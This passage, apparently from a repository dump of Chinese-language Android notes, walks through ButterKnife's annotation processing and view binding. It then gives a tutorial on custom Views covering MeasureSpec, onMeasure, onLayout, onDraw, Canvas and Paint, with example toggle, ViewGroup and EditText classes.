ViewBindings getOrCreateViewBindings(Id id) {\n    ViewBindings viewId = viewIdMap.get(id);\n    if (viewId == null) {\n      viewId = new ViewBindings(id);\n      viewIdMap.put(id, viewId);\n    }\n    return viewId;\n  }\n```\n然后看`ViewBindings.setFieldBinding()`方法:    \n```java\npublic void setFieldBinding(FieldViewBinding fieldBinding) {\n    if (this.fieldBinding != null) {\n      throw new AssertionError();\n    }\n    this.fieldBinding = fieldBinding;\n  }\n```\n看到这里就把`findAndParseTargets()`方法分析完了。大体总结一下就是把一些变量、参数等初始化到了`BindingClass`类中。\n也就是说上面`process()`方法中的第一步已经分析完了，下面我们来继续看第二部分.\n\n##### 第二步:`bindingClass.brewJava()`  \n\n继续查看`BindingClass.brewJava()`方法的实现:    \n```java\nCollection<JavaFile> brewJava() {\n    TypeSpec.Builder result = TypeSpec.classBuilder(binderClassName)\n        .addModifiers(PUBLIC, FINAL)\n        .addSuperinterface(ParameterizedTypeName.get(VIEW_BINDER, targetTypeName));\n\n    result.addMethod(createBindMethod(targetTypeName));\n\n    List<JavaFile> files = new ArrayList<>();\n    if (isGeneratingUnbinder()) {\n      // 生成$$_ViewBinding类\n      files.add(JavaFile.builder(unbinderClassName.packageName(), createUnbinderClass())\n          .addFileComment(\"Generated code from Butter Knife. Do not modify!\")\n          .build()\n      );\n    } else if (!isFinal) {\n      result.addMethod(createBindToTargetMethod());\n    }\n    // 生成$$_ViewBinder类\n    files.add(JavaFile.builder(binderClassName.packageName(), result.build())\n        .addFileComment(\"Generated code from Butter Knife. Do not modify!\")\n        .build());\n\n    return files;\n  }\n```\n看到这里感觉不用再继续分析了，该方法就是使用`javaopet`来生成对应`$$_ViewBinder.java`类。 \n\n到这里我们已经知道在编译的过程中会去生成一个对应的`$$_ViewBinder.java`文件，该类实现了`ViewBinder`接口。它内部会去生成对应`findViewByid()`以及`setOnClickListener()`等方法的代码，它生成了该类后如何去调用呢？我们也没有发现`new $$_ViewBinder`的方法。不要忘了上面我们看到的`ButterKnife.bind(this);`。接下来我们看一下`ButterKnife.bind(this);`方法的实现:    \n\n```java\n/**\n   * BindView annotated fields and methods in the specified {@link Activity}. The current content\n   * view is used as the view root.\n   *\n   * @param target Target activity for view binding.\n   */\n  @NonNull @UiThread\n  public static Unbinder bind(@NonNull Activity target) {\n    return getViewBinder(target).bind(Finder.ACTIVITY, target, target);\n  }\n\n  /**\n   * BindView annotated fields and methods in the specified {@link View}. The view and its children\n   * are used as the view root.\n   *\n   * @param target Target view for view binding.\n   */\n  @NonNull @UiThread\n  public static Unbinder bind(@NonNull View target) {\n    return getViewBinder(target).bind(Finder.VIEW, target, target);\n  }\n```\n调用了`getViewBinder()`的`bind()`方法，继续看`getViewBinder()`方法:   \n```java\nstatic final Map<Class<?>, ViewBinder<Object>> BINDERS = new LinkedHashMap<>();\n...\n\n@NonNull @CheckResult @UiThread\n  static ViewBinder<Object> getViewBinder(@NonNull Object target) {\n    Class<?> targetClass = target.getClass();\n    if (debug) Log.d(TAG, \"Looking up view binder for \" + targetClass.getName());\n    return findViewBinderForClass(targetClass);\n  }\n\n  @NonNull @CheckResult @UiThread\n  private static ViewBinder<Object> findViewBinderForClass(Class<?> cls) {\n     // BINDERS是一个Map集合。也就是说它内部使用Map缓存了一下，先去内存中取\n     ViewBinder<Object> viewBinder = BINDERS.get(cls);\n    if (viewBinder != null) {\n      if (debug) Log.d(TAG, \"HIT: Cached in view binder map.\");\n      return viewBinder;\n    }\n    // 内存中没有缓存该类\n    String clsName = cls.getName();\n    // 通过类名判断下是不是系统的组件\n    if (clsName.startsWith(\"android.\") || clsName.startsWith(\"java.\")) {\n      if (debug) Log.d(TAG, \"MISS: Reached framework class. Abandoning search.\");\n      return NOP_VIEW_BINDER;\n    }\n    //noinspection TryWithIdenticalCatches Resolves to API 19+ only type.\n    try {\n      // 通过反射获取到对应通过编译时注解生成的$_ViewBinder类的实例\n      Class<?> viewBindingClass = Class.forName(clsName + \"_ViewBinder\");\n      //noinspection unchecked\n      viewBinder = (ViewBinder<Object>) viewBindingClass.newInstance();\n      if (debug) Log.d(TAG, \"HIT: Loaded view binder class.\");\n    } catch (ClassNotFoundException e) {\n      if (debug) Log.d(TAG, \"Not found. Trying superclass \" + cls.getSuperclass().getName());\n      viewBinder = findViewBinderForClass(cls.getSuperclass());\n    } catch (InstantiationException e) {\n      throw new RuntimeException(\"Unable to create view binder for \" + clsName, e);\n    } catch (IllegalAccessException e) {\n      throw new RuntimeException(\"Unable to create view binder for \" + clsName, e);\n    }\n    // 通过反射来操作毕竟会影响性能，所以这里通过Map缓存的方式来进行优化\n    BINDERS.put(cls, viewBinder);\n    return viewBinder;\n  }\n\n```\n\n到这里就彻底分析完了`ButterKnife.bind(this);`的实现，它其实就相当于`new`了一个`$_ViewBinder`类的实例。当然这样用起来是非常方便的，毕竟我们手动的去`new`类多不合理，虽然他里面用到了反射会影响一点点性能，但是他通过内存缓存的方式优化了，我感觉这种方式是利大于弊的。   \n\n那`$_ViewBinder`类里面都是什么内容呢？ 我们去看一下该类的代码，但是它生成的代码在哪里呢？\n![image](https://github.com/CharonChui/Pictures/blob/master/butterknife_apt_genierate_code.png?raw=true)\n   \n\n开始看一下`SimpleActivity_ViewBinder.bind()`方法:      \n```java\npublic final class SimpleActivity_ViewBinder implements ViewBinder<SimpleActivity> {\n  @Override\n  public Unbinder bind(Finder finder, SimpleActivity target, Object source) {\n    return new SimpleActivity_ViewBinding<>(target, finder, source);\n  }\n}\n```\n\n接着看`SimpleActivity_ViewBinding`类:   \n```java\npublic class SimpleActivity_ViewBinding<T extends SimpleActivity> implements Unbinder {\n  protected T target;\n\n  private View view2130968578;\n\n  private View view2130968579;\n\n  public SimpleActivity_ViewBinding(final T target, Finder finder, Object source) {\n    this.target = target;\n\n    View view;\n    target.title = finder.findRequiredViewAsType(source, R.id.title, \"field 'title'\", TextView.class);\n    target.subtitle = finder.findRequiredViewAsType(source, R.id.subtitle, \"field 'subtitle'\", TextView.class);\n    view = finder.findRequiredView(source, R.id.hello, \"field 'hello', method 'sayHello', and method 'sayGetOffMe'\");\n    target.hello = finder.castView(view, R.id.hello, \"field 'hello'\", Button.class);\n    view2130968578 = view;\n    view.setOnClickListener(new DebouncingOnClickListener() {\n      @Override\n      public void doClick(View p0) {\n        target.sayHello();\n      }\n    });\n    view.setOnLongClickListener(new View.OnLongClickListener() {\n      @Override\n      public boolean onLongClick(View p0) {\n        return target.sayGetOffMe();\n      }\n    });\n    view = finder.findRequiredView(source, R.id.list_of_things, \"field 'listOfThings' and method 'onItemClick'\");\n    target.listOfThings = finder.castView(view, R.id.list_of_things, \"field 'listOfThings'\", ListView.class);\n    view2130968579 = view;\n    ((AdapterView<?>) view).setOnItemClickListener(new AdapterView.OnItemClickListener() {\n      @Override\n      public void onItemClick(AdapterView<?> p0, View p1, int p2, long p3) {\n        target.onItemClick(p2);\n      }\n    });\n    target.footer = finder.findRequiredViewAsType(source, R.id.footer, \"field 'footer'\", TextView.class);\n    target.headerViews = Utils.listOf(\n        finder.findRequiredView(source, R.id.title, \"field 'headerViews'\"), \n        finder.findRequiredView(source, R.id.subtitle, \"field 'headerViews'\"), \n        finder.findRequiredView(source, R.id.hello, \"field 'headerViews'\"));\n  }\n\n  @Override\n  public void unbind() {\n    T target = this.target;\n    if (target == null) throw new IllegalStateException(\"Bindings already cleared.\");\n\n    target.title = null;\n    target.subtitle = null;\n    target.hello = null;\n    target.listOfThings = null;\n    target.footer = null;\n    target.headerViews = null;\n\n    view2130968578.setOnClickListener(null);\n    view2130968578.setOnLongClickListener(null);\n    view2130968578 = null;\n    ((AdapterView<?>) view2130968579).setOnItemClickListener(null);\n    view2130968579 = null;\n\n    this.target = null;\n  }\n}\n```\n可以看到他内部会通过`findViewByid()`等来找到对应的`View`，然后将其赋值给`target.xxxx`，所以这样就相当于把所有的控件以及事件都给初始化了，以后就可以直接使用了，通过这里也可以看到我们在使用注解的时候不要把控件或者方法声明为`private`的。   \n \n\n\n总结一下:      \n\n- `ButterKnifeProcessor`会生成`$$_ViewBinder`类并实现了`ViewBinder`接口。\n- `$$_ViewBinder`类中包含了所有对应的代码，会通过注解去解析到`id`等，然后通过`findViewById()`等方法找到对应的控件，并且复制给调用该方法的来中的变量。这样就等同于我们直接\n   使用`View v = findViewByid(R.id.xx)`来进行初始化控件。  \n- 上面虽然生成了`$$_ViewBinder`类，但是如何去调用呢？ 就是在调用`ButterKnife.bind(this)`时执行，该方法会通过反射去实例化对应的`$$_ViewBinder`类，并且调用该类的`bind()`方法。 \n\n-  `Butterknife`除了在`Butterknife.bind()`方法中使用反射之外，其他注解的处理都是通过编译时注解使用，所以不会影响效率。    \n- 使用`Butterknife`是不要将变量声明为`private`类型，因为`$$_ViewBinder`类中会去直接调用变量赋值，如果声明为`private`将无法赋值。   \n    ```java\n    @BindView(R2.id.title) TextView title;\n    ```\n\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/AdavancedPart/%E6%B3%A8%E8%A7%A3%E4%BD%BF%E7%94%A8.md \"注解使用\"\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/自定义View详解.md",
    "content": "自定义View详解\n===\n\n虽然之前也分析过[View绘制过程](https://github.com/CharonChui/AndroidNote/blob/master/SourceAnalysis/View%E7%BB%98%E5%88%B6%E8%BF%87%E7%A8%8B%E8%AF%A6%E8%A7%A3.md)，但是如果让我自己集成`ViewGroup`然后自己重新`onMeasure,onLayout,onDraw`方法自定义`View`我还是会头疼。今天索性来系统的学习下。\n\n### `onMeasure`\n\n```java\n/**\n     * <p>\n     * Measure the view and its content to determine the measured width and the\n     * measured height. This method is invoked by {@link #measure(int, int)} and\n     * should be overridden by subclasses to provide accurate and efficient\n     * measurement of their contents.\n     * </p>\n     *\n     * <p>\n     * <strong>CONTRACT:</strong> When overriding this method, you\n     * <em>must</em> call {@link #setMeasuredDimension(int, int)} to store the\n     * measured width and height of this view. Failure to do so will trigger an\n     * <code>IllegalStateException</code>, thrown by\n     * {@link #measure(int, int)}. Calling the superclass'\n     * {@link #onMeasure(int, int)} is a valid use.\n     * </p>\n     *\n     * <p>\n     * The base class implementation of measure defaults to the background size,\n     * unless a larger size is allowed by the MeasureSpec. Subclasses should\n     * override {@link #onMeasure(int, int)} to provide better measurements of\n     * their content.\n     * </p>\n     *\n     * <p>\n     * If this method is overridden, it is the subclass's responsibility to make\n     * sure the measured height and width are at least the view's minimum height\n     * and width ({@link #getSuggestedMinimumHeight()} and\n     * {@link #getSuggestedMinimumWidth()}).\n     * </p>\n     *\n     * @param widthMeasureSpec horizontal space requirements as imposed by the parent.\n     *                         The requirements are encoded with\n     *                         {@link android.view.View.MeasureSpec}.\n     * @param heightMeasureSpec vertical space requirements as imposed by the parent.\n     *                         The requirements are encoded with\n     *                         {@link android.view.View.MeasureSpec}.\n     *\n     * @see #getMeasuredWidth()\n     * @see #getMeasuredHeight()\n     * @see #setMeasuredDimension(int, int)\n     * @see #getSuggestedMinimumHeight()\n     * @see #getSuggestedMinimumWidth()\n     * @see android.view.View.MeasureSpec#getMode(int)\n     * @see android.view.View.MeasureSpec#getSize(int)\n     */\nprotected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {\n        setMeasuredDimension(getDefaultSize(getSuggestedMinimumWidth(), widthMeasureSpec),\n                getDefaultSize(getSuggestedMinimumHeight(), heightMeasureSpec));\n    }\n```\n\n注释说的非常清楚。但是我还是要强调一下这两个参数:`widthMeasureSpec`和`heightMeasureSpec`这两个int类型的参数，看名字应该知道是跟宽和高有关系，但它们其实不是宽和高，而是由宽、高和各自方向上对应的模式来合成的一个值：其中，在int类型的32位二进制位中，31-30这两位表示模式，0~29这三十位表示宽和高的实际值.其中模式一共有三种，被定义在Android中的View类的一个内部类中：View.MeasureSpec：\n\n```java\nandroid.view\npublic static class View.MeasureSpec\nextends Object\nA MeasureSpec encapsulates the layout requirements passed from parent to child. Each MeasureSpec represents a requirement for either the width or the height. A MeasureSpec is comprised of a size and a mode. There are three possible modes:\nUNSPECIFIED\nThe parent has not imposed any constraint on the child. It can be whatever size it wants.\nEXACTLY\nThe parent has determined an exact size for the child. The child is going to be given those bounds regardless of how big it wants to be.\nAT_MOST\nThe child can be as large as it wants up to the specified size.\nMeasureSpecs are implemented as ints to reduce object allocation. This class is provided to pack and unpack the <size, mode> tuple into the int.\n```\n\n- MeasureSpec.UNSPECIFIED The parent has not imposed any constraint on the child. It can be whatever size it wants. 这种情况比较少，一般用不到。标示父控件没有给子View任何显示- - - -对应的二进制表示: 00\n- MeasureSpec.EXACTLY The parent has determined an exact size for the child. The child is going to be given those bounds regardless of how big it wants to be.\n理解成MATCH_PARENT或者在布局中指定了宽高值，如layout:width=’50dp’. - - - - 对应的二进制表示:01\n- MeasureSpec.AT_MOST The child can be as large as it wants up to the specified size.理解成WRAP_CONTENT,这是的值是父View可以允许的最大的值，只要不超过这个值都可以。- - - - 对应的二进制表示:10\n\n\n那具体`MeasureSpec`是怎么把宽和高的实际值以及模式组合起来变成一个int类型的值呢？ 这部分是在`MeasureSpce.makeMeasureSpec()`方法中处理的:    \n```java\npublic static int makeMeasureSpec(int size, int mode) {\n            if (sUseBrokenMakeMeasureSpec) {\n                return size + mode;\n            } else {\n                return (size & ~MODE_MASK) | (mode & MODE_MASK);\n            }\n        }\n```\n那我们如何从MeasureSpec值中提取模式和大小呢？该方法内部是采用位移计算.\n```java\n/**\n * Extracts the mode from the supplied measure specification.\n *\n * @param measureSpec the measure specification to extract the mode from\n * @return {@link android.view.View.MeasureSpec#UNSPECIFIED},\n *         {@link android.view.View.MeasureSpec#AT_MOST} or\n *         {@link android.view.View.MeasureSpec#EXACTLY}\n */\npublic static int getMode(int measureSpec) {\n    return (measureSpec & MODE_MASK);\n}\n\n/**\n * Extracts the size from the supplied measure specification.\n *\n * @param measureSpec the measure specification to extract the size from\n * @return the size in pixels defined in the supplied measure specification\n */\npublic static int getSize(int measureSpec) {\n    return (measureSpec & ~MODE_MASK);\n}\n```\n\n\n### `onLayout`\n\n为了能合理的去绘制定义`View`,你需要制定它的大小。复杂的自定义`View`通常需要根据屏幕的样式和大小来进行复杂的布局计算。你不应该假设你的屏幕上的`View`的大小。即使只有一个应用使用你的自定义`View`，也需要处理不同的屏幕尺寸、屏幕密度和横屏以及竖屏下的多种比率等。\n\n虽然`View`有很多处理测量的方法，但他们中的大部分都不需要被重写。如果你的`View`不需要特别的控制它的大小，你只需要重写一个方法:`onSizeChanged()`。\n\n`onSizeChanged()`方法会在你的`View`第一次指定大小后调用，在因某些原因改变大小后会再次调用。在上面`PieChart`的例子中，`onSizeChanged()`方法就是它需要重新计算表格样式和大小以及其他元素的地方。\n下面就是`PieChart.onSizeChanged()`方法的内容:      \n\n```java\n// Account for padding\nfloat xpad = (float)(getPaddingLeft() + getPaddingRight());\nfloat ypad = (float)(getPaddingTop() + getPaddingBottom());\n\n// Account for the label\nif (mShowText) xpad += mTextWidth;\n\nfloat ww = (float)w - xpad;\nfloat hh = (float)h - ypad;\n\n// Figure out how big we can make the pie.\nfloat diameter = Math.min(ww, hh);\n```\n\n\n### `onDraw`\n\n自定义`View`最重要的就是展现样式。\n\n##### 重写`onDraw()`方法\n\n绘制自定义`View`最重要的步骤就是重写`onDraw()`方法。`onDraw()`方法的参数是`Canvas`对象。可以用它来绘制自身。`Canvas`类定义了绘制文字、线、位图和很多其他图形的方法。你可以在`onDraw()`方法中使用这些方法来指定`UI`.\n\n在使用任何绘制方法之前，你都必须要创建一个`Paint`对象。  \n\n##### 创建绘制的对象\n\n`android.graphics`框架将绘制分为两步:     \n\n- 绘制什么，由`Canvas`处理。\n- 怎么去绘制，由`Paint`处理。\n\n\n##### `Canvas`\n\n> The Canvas class holds the \"draw\" calls. To draw something, you need 4 basic components: A Bitmap to hold the pixels,  \n a Canvas to host the draw calls (writing into the bitmap), a drawing primitive (e.g. Rect, Path, text, Bitmap),   \nand a paint (to describe the colors and styles for the drawing).  \n\n\n- `Canvas()`:创建一个空的画布，可以使用`setBitmap()`方法来设置绘制的具体画布； \n- `Canvas(Bitmap bitmap)`:以`bitmap`对象创建一个画布，则将内容都绘制在`bitmap`上，`bitmap`不得为`null`; \n- `canvas.drawRect(RectF,Paint)`方法用于画矩形，第一个参数为图形显示区域，第二个参数为画笔，设置好图形显示区域`Rect`和画笔`Paint`后，即可画图； \n- `canvas.drawRoundRect(RectF, float, float, Paint)`方法用于画圆角矩形，第一个参数为图形显示区域，第二个参数和第三个参数分别是水平圆角半径和垂直圆角半径。 \n- `canvas.drawLine(startX, startY, stopX, stopY, paint)`：前四个参数的类型均为`float`，最后一个参数类型为`Paint`。表示用画笔`paint`从点`（startX,startY）`到点`（stopX,stopY）`画一条直线； \n- `canvas.drawLines (float[] pts, Paint paint)``pts`:是点的集合，大家下面可以看到，这里不是形成连接线，而是每两个点形成一条直线，`pts`的组织方式为`｛x1,y1,x2,y2,x3,y3,……｝`，例如`float []pts={10,10,100,100,200,200,400,400};`就是有四个点：（10，10）、（100，100），（200，200），（400，400）），两两连成一条直线；\n- `canvas.drawArc(oval, startAngle, sweepAngle, useCenter, paint)`：第一个参数`oval`为`RectF`类型，即圆弧显示区域，`startAngle`和`sweepAngle`均为`float`类型，分别表示圆弧起始角度和圆弧度数,3点钟方向为0度，`useCenter`设置是否显示圆心，`boolean`类型，`paint`为画笔； \n- `canvas.drawCircle(float,float, float, Paint)`方法用于画圆，前两个参数代表圆心坐标，第三个参数为圆半径，第四个参数是画笔； \n- `canvas.drawBitmap(Bitmap bitmap, Rect src, Rect dst, Paint paint)` 位图，参数一就是我们常规的`Bitmap`对象，参数二是源区域(这里是`bitmap`)，参数三是目标区域(应该在`canvas`的位置和大小)，参数四是`Paint`画刷对象，因为用到了缩放和拉伸的可能，当原始`Rect`不等于目标`Rect`时性能将会有大幅损失。\n- `canvas.drawText(String text, float x, floaty, Paint paint)`渲染文本，`Canvas`类除了上\n面的还可以描绘文字，参数一是`String`类型的文本，参数二`x`轴，参数三`y`轴，参数四是`Paint`对象。\n- `canvas.drawPath (Path path, Paint paint)`，根据`Path`去画.\n    ```java\n    Path path = new Path();  \n    path.moveTo(10, 10); //设定起始点  \n    path.lineTo(10, 100);//第一条直线的终点，也是第二条直线的起点  \n    path.lineTo(300, 100);//画第二条直线  \n    path.lineTo(500, 100);//第三条直线  \n    path.close();//闭环  \n    canvas.drawPath(path, paint);  \n    ```\n\n##### `Paint`\n\n- `setARGB(int a, int r, int g, int b)` 设置`Paint`对象颜色，参数一为`alpha`透明值\n- `setAlpha(int a)` 设置`alpha`不透明度，范围为0~255\n- `setAntiAlias(boolean aa)`是否抗锯齿\n- `setColor(int color)`设置颜色\n- `setTextScaleX(float scaleX)`设置文本缩放倍数，1.0f为原始\n- `setTextSize(float textSize)`设置字体大小\n- `setUnderlineText(String underlineText)`设置下划线\n\n\n\n例如，`Canvas`提供了一个画一条线的方法，而`Paint`提供了指定这条线的颜色的方法。`Canvas`提供了绘制长方形的方法，而`Paint`提供了是用颜色填充整个长方形还是空着的方法。简单的说，`Canvas`指定了你想在屏幕上绘制的形状，而`Paint`指定了你要绘制的形状的颜色、样式、字体和样式等等。   \n\n所以，在你`draw`任何东西之前，你都需要创建一个或者多个`Paint`对象。下面的`PieChart`例子就是在构造函数中调用的`init`方法:     \n\n```java\nprivate void init() {\n   mTextPaint = new Paint(Paint.ANTI_ALIAS_FLAG);\n   mTextPaint.setColor(mTextColor);\n   if (mTextHeight == 0) {\n       mTextHeight = mTextPaint.getTextSize();\n   } else {\n       mTextPaint.setTextSize(mTextHeight);\n   }\n\n   mPiePaint = new Paint(Paint.ANTI_ALIAS_FLAG);\n   mPiePaint.setStyle(Paint.Style.FILL);\n   mPiePaint.setTextSize(mTextHeight);\n\n   mShadowPaint = new Paint(0);\n   mShadowPaint.setColor(0xff101010);\n   mShadowPaint.setMaskFilter(new BlurMaskFilter(8, BlurMaskFilter.Blur.NORMAL));\n\n   ...\n```\n\n下面是`PieChart`完整的`onDraw()`方法:      \n```java\nprotected void onDraw(Canvas canvas) {\n   super.onDraw(canvas);\n\n   // Draw the shadow\n   canvas.drawOval(\n           mShadowBounds,\n           mShadowPaint\n   );\n\n   // Draw the label text\n   canvas.drawText(mData.get(mCurrentItem).mLabel, mTextX, mTextY, mTextPaint);\n\n   // Draw the pie slices\n   for (int i = 0; i < mData.size(); ++i) {\n       Item it = mData.get(i);\n       mPiePaint.setShader(it.mShader);\n       canvas.drawArc(mBounds,\n               360 - it.mEndAngle,\n               it.mEndAngle - it.mStartAngle,\n               true, mPiePaint);\n   }\n\n   // Draw the pointer\n   canvas.drawLine(mTextX, mPointerY, mPointerX, mPointerY, mTextPaint);\n   canvas.drawCircle(mPointerX, mPointerY, mPointerSize, mTextPaint);\n}\n```\n\n\n下面是一张`View`绘制过程中框架调用的一些标准方法概要图:      \n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/custom_view_methods.png?raw=true)\n\n下面来几个例子:    \n\n自定义开关:      \n\n```java\npublic class ToogleView extends View {\n    private int mSlideMarginLeft = 0;\n    private Bitmap backgroundBitmap;\n    private Bitmap slideButton;\n\n\n    public ToogleView(Context context) {\n        super(context);\n        init(context);\n    }\n\n    public ToogleView(Context context, AttributeSet attrs) {\n        super(context, attrs);\n        init(context);\n    }\n\n    public ToogleView(Context context, AttributeSet attrs, int defStyleAttr) {\n        super(context, attrs, defStyleAttr);\n        init(context);\n    }\n\n    private void init(Context context) {\n        backgroundBitmap = BitmapFactory.decodeResource(getResources(),\n                R.drawable.toogle_bg);\n        slideButton = BitmapFactory.decodeResource(getResources(),\n                R.drawable.toogle_slide);\n        this.setOnClickListener(new OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                if (mSlideMarginLeft == 0) {\n                    mSlideMarginLeft = backgroundBitmap.getWidth() - slideButton.getWidth();\n                } else {\n                    mSlideMarginLeft = 0;\n                }\n                invalidate();\n            }\n        });\n    }\n\n    @Override\n    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {\n        super.onMeasure(widthMeasureSpec, heightMeasureSpec);\n    }\n\n    @Override\n    protected void onLayout(boolean changed, int left, int top, int right, int bottom) {\n        super.onLayout(changed, left, top, right, bottom);\n    }\n\n    @Override\n    protected void onDraw(Canvas canvas) {\n        super.onDraw(canvas);\n        Paint paint = new Paint();\n        paint.setAntiAlias(true);\n        // 先画背景图\n        canvas.drawBitmap(backgroundBitmap, 0, 0, paint);\n        // 再画滑块，用mSlideMarginLeft来控制滑块距离左边的距离。\n        canvas.drawBitmap(slideButton, mSlideMarginLeft, 0, paint);\n    }\n```\n\n```xml\n<LinearLayout android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:orientation=\"vertical\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\" >\n\n<com.charon.recyclerviewdemo.ToogleView\n        android:paddingLeft=\"50dp\"\n        android:background=\"@android:color/holo_green_light\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\" />\n    </LinearLayout>\n```\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/toogle_1.png?raw=true)\n很明显显示的不对，因为高设置为`warp_content`了，但是界面显示的确实整个屏幕，而且`paddingLeft`也没生效，那该怎么做呢？ 当然是重写`onMeasure()` 方法:   \n```java\npublic class ToogleView extends View {\n    private int mSlideMarginLeft = 0;\n    private Bitmap backgroundBitmap;\n    private Bitmap slideButton;\n\n\n    public ToogleView(Context context) {\n        super(context);\n        init(context);\n    }\n\n    public ToogleView(Context context, AttributeSet attrs) {\n        super(context, attrs);\n        init(context);\n    }\n\n    public ToogleView(Context context, AttributeSet attrs, int defStyleAttr) {\n        super(context, attrs, defStyleAttr);\n        init(context);\n    }\n\n    private void init(Context context) {\n        backgroundBitmap = BitmapFactory.decodeResource(getResources(),\n                R.drawable.toogle_bg);\n        slideButton = BitmapFactory.decodeResource(getResources(),\n                R.drawable.toogle_slide);\n        this.setOnClickListener(new OnClickListener() {\n            @Override\n            public void onClick(View v) {\n                if (mSlideMarginLeft == 0) {\n                    mSlideMarginLeft = backgroundBitmap.getWidth() - slideButton.getWidth();\n                } else {\n                    mSlideMarginLeft = 0;\n                }\n                invalidate();\n            }\n        });\n    }\n\n    @Override\n    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {\n        int measureWidth = MeasureSpec.getSize(widthMeasureSpec);\n        int measureWidthMode = MeasureSpec.getMode(widthMeasureSpec);\n\n        int measureHeight = MeasureSpec.getSize(heightMeasureSpec);\n        int measureHeightMode = MeasureSpec.getMode(heightMeasureSpec);\n        int width;\n        int height;\n        if (MeasureSpec.EXACTLY == measureWidthMode) {\n            width = measureWidth;\n        } else {\n            width = backgroundBitmap.getWidth();\n        }\n\n        if (MeasureSpec.EXACTLY == measureHeightMode) {\n            height = measureHeight;\n        } else {\n            height = backgroundBitmap.getHeight();\n        }\n\n        setMeasuredDimension(width, height);\n    }\n\n    @Override\n    protected void onLayout(boolean changed, int left, int top, int right, int bottom) {\n        super.onLayout(changed, left, top, right, bottom);\n    }\n\n    @Override\n    protected void onDraw(Canvas canvas) {\n        super.onDraw(canvas);\n        Paint paint = new Paint();\n        paint.setAntiAlias(true);\n        canvas.drawBitmap(backgroundBitmap, getPaddingLeft(), 0, paint);\n        canvas.drawBitmap(slideButton, mSlideMarginLeft + getPaddingLeft(), 0, paint);\n    }\n\n}\n\n```\n这样就可以了。简单的说明一下，就是如果当前的模式是`EXACTLY`那就把父`View`传递进来的宽高设置进来，如果是`AT_MOST`或者`UNSPECIFIED`的话就使用背景图片的宽高。\n\n\n最后再来一个自定义`ViewGroup`的例子:       \n\n之前的引导页面都是通过类似`ViewPager`这种方法左右滑动，现在想让他上下滑动，该怎么弄呢？    \n```java\npublic class VerticalLayout extends ViewGroup {\n    public VerticalLayout(Context context) {\n        super(context);\n    }\n    public VerticalLayout(Context context, AttributeSet attrs) {\n        super(context, attrs);\n    }\n\n    public VerticalLayout(Context context, AttributeSet attrs, int defStyleAttr) {\n        super(context, attrs, defStyleAttr);\n    }\n\n    @Override\n    protected void onLayout(boolean changed, int l, int t, int r, int b) {\n        \n    }\n}\n```\n继承`ViewGroup`必须要重写`onLayout`方法。其实这也很好理解，因为每个`ViewGroup`的排列方式不一样，所以让子类来自己实现是最好的。      \n当然畜类重写`onLayout`之外，也要重写`onMeasure`。\n代码如下，滑动手势处理的部分就不贴了。     \n```java\n\t@Override\n\tprotected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {\n\t\tint measureSpec = MeasureSpec.makeMeasureSpec(mScreenHeight\n\t\t\t\t* getChildCount(), MeasureSpec.getMode(heightMeasureSpec));\n\t\tsuper.onMeasure(widthMeasureSpec, measureSpec);\n\t\tmeasureChildren(widthMeasureSpec, heightMeasureSpec);\n\t}\n\n\t@Override\n\tprotected void onLayout(boolean changed, int l, int t, int r, int b) {\n        // 就像猴子捞月一样，让他们一个个的从上往下排就好了\n\t\tif (changed) {\n\t\t\tint childCount = getChildCount();\n\t\t\tfor (int i = 0; i < childCount; i++) {\n\t\t\t\tView child = getChildAt(i);\n\t\t\t\tif (child.getVisibility() != View.GONE) {\n\t\t\t\t\tchild.layout(l, i * mScreenHeight, r, (i + 1)\n\t\t\t\t\t\t\t* mScreenHeight);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n```\n\n上面介绍了通过继承`View`以及`ViewGroup`的方式来自定义`View`，平时开发过程中有时不需要继承他俩，我们直接继承功能接近\n的类进行扩展就好，例如:我想自定义一个`Meterial Design`样式的`EditText`。那我们该怎么实现呢？ 当然是继承`EditText`了，它比`EditText`多了一条底下的线，那我们给它`draw`上就可以了。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/meterial_edittext.png?raw=true)\n\n```java\npublic class MetrailEditText extends EditText {\n    private NinePatchDrawable mDrawable;\n\n    public MetrailEditText(Context context, AttributeSet attrs) {\n        super(context, attrs);\n        init();\n    }\n\n    public MetrailEditText(Context context) {\n        super(context);\n        init();\n    }\n\n    private void init() {\n        setBackgroundResource(0);\n        mDrawable = (NinePatchDrawable) getResources().getDrawable(R.drawable.edittext_meterial_bg_activated);\n    }\n\n    @Override\n    protected void onDraw(final Canvas canvas) {\n        super.onDraw(canvas);\n        mDrawable.setBounds(-getCompoundPaddingLeft(), 0, getWidth() + getCompoundPaddingRight(), getHeight());\n        mDrawable.draw(canvas);\n    }\n}\n```\n\n看到这里你可能会糊涂，这哪行啊？ 我们的`edittext_meterial_bg_activated`可不是普通的图，当然是`9 patch`图了。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/meterial_edittext_line.png?raw=true)\n\n当然你可以在`onDraw()`的时候加一个自定义线的颜色`mDrawable.setColorFilter(mLineColor, PorterDuff.Mode.SRC_ATOP);`等。\n\n\n\n参考部分:   \t\n- http://blog.csdn.net/cyp331203/article/details/40736027\n\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! I"
  },
  {
    "path": "docs/android/AndroidNote/Tools&Library/Android开发工具及类库.md",
